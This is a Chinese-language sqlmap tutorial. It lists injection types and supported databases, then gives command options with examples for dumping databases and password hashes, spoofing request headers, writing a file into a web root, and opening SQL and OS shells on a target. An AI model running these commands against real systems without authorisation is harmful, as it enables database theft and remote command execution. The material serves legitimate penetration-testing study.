SQLmap简介

SQLmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

目录

它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

SQLmap支持五种不同的注入模式:

UNION query SQL injection(可联合查询注入)

Error-based SQL injection(报错型注入)

Boolean-based blind SQL injection(布尔型注入)

Time-based blind SQL injection(基于时间延迟注入)

Stacked queries SQL injection(可多语句查询注入)

SQLmap支持

MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB, MariaDB

等诸多主流的数据库管理系统(DBMS)

五种注入方式

UNION query SQL injection(可联合查询注入)

Error-based SQL injection(报错型注入)

Boolean-based blind SQL injection(布尔型注入)

Time-based blind SQL injection(基于时间延迟注入)

Stacked queries SQL injection(可多语句查询注入)

语法

sqlmap使用的payload可以在 xml/payloads.xml中看到


-u 按url指定目标
python sqlmap.py -u”http://www.target.com/index.php?id=1″

-m 按txt内url指定目标,指定目标按换行分割
python sqlmap.py -m urllist.txt

-r 按txt内数据包指定目标POST表单请求必须有POST名
python sqlmap.py -r 1.txt


-v / –level 3 回显等级默认为1
level>=1 GET,POST
level>=2 Cookie
level>=3 user-agent,referer
level=5 Host
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

–data 以POST方式提交数据
–data=”id=1″

–cookie 将cookie数据提交出去,一般需要抓包获取cookie值
–cookie=”Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662; PHPSESSID=o64fbvo316lg59njufl2gfutm4;”

–user-agent 更改请求头提交数据
–user-agent=”aaa”

–random-agent   会从/usr/share/sqlmap/data/txt/user-agents.txt中随机产生User-Agent头。
–random-agent

–referer 提交数据的来源,配合–user-agent伪造正常请求
–referer=”http://www.baidu.com”

–delay 可以设定两个http请求间的延迟秒数,默认没有延迟

–timeout 可以设定一个http请求超过多少秒判定为超时,默认30秒

-p 指定参数让sqlmap测试
-p “id,user-angent”

–skip 跳过参数不测试
–skip=”user-agent,referer”

–risk 共有三个风险等级,1-3,
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试。

–dbs 列出所有的数据库
–users 列出当前登录的用户名
–passwords 列出当前登录的用户密码
–is-dba 判断是否root权限
–current-user   在大多数据库中可以获取到管理数据的用户
–current-db 当前数据库


–privileges 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看那个用户的权限。

–technique 指定使用哪种注入类型
B:布尔Q:内联T:时间U:联合E:错误S:栈查询
速度排序=联合>报错>布尔>延迟

-D输入库名显示表名
-D database_name –tables
-T输入库名表名显示字段名
-D database_name  -T table_name –columns
-C输入库名表名字段名显示值
-D database_name -T table_name -C column_1,column_2  –dump  

–proxy 指定一个代理服务器  
–proxy http://local:8080

–prefix=PREFIX 注入payload字符串前缀 指定字符闭合前面
–prefix “‘)”
–suffix=SUFFIX 注入payload字符串后缀 指定字符闭合后面
–suffix “(‘”

–file-write 从本地写入必须为root权限
–file-write=”d:/2.txt”
–file-dest   写入目标路径必须为root权限必须为绝对路径
–file-dest=”E:/wwwroot/bihuoedu/one.php”

–file-write=本地文件路径 –file-dest 网站路径(写入路径)+”/写入的文件名”


–batch 全自动

–start= 开始条数

–stop= 结束条数

–dump 导出当前数据库所有数据

–dump-all 导出数据库所有数据

–purge 清空缓存目录

–sql-shell   反弹sqlshell视图

–os-shell 反弹cmd视图(需要绝对路径,读写权限,函数未过滤)

–threads= 设置多线程,默认为3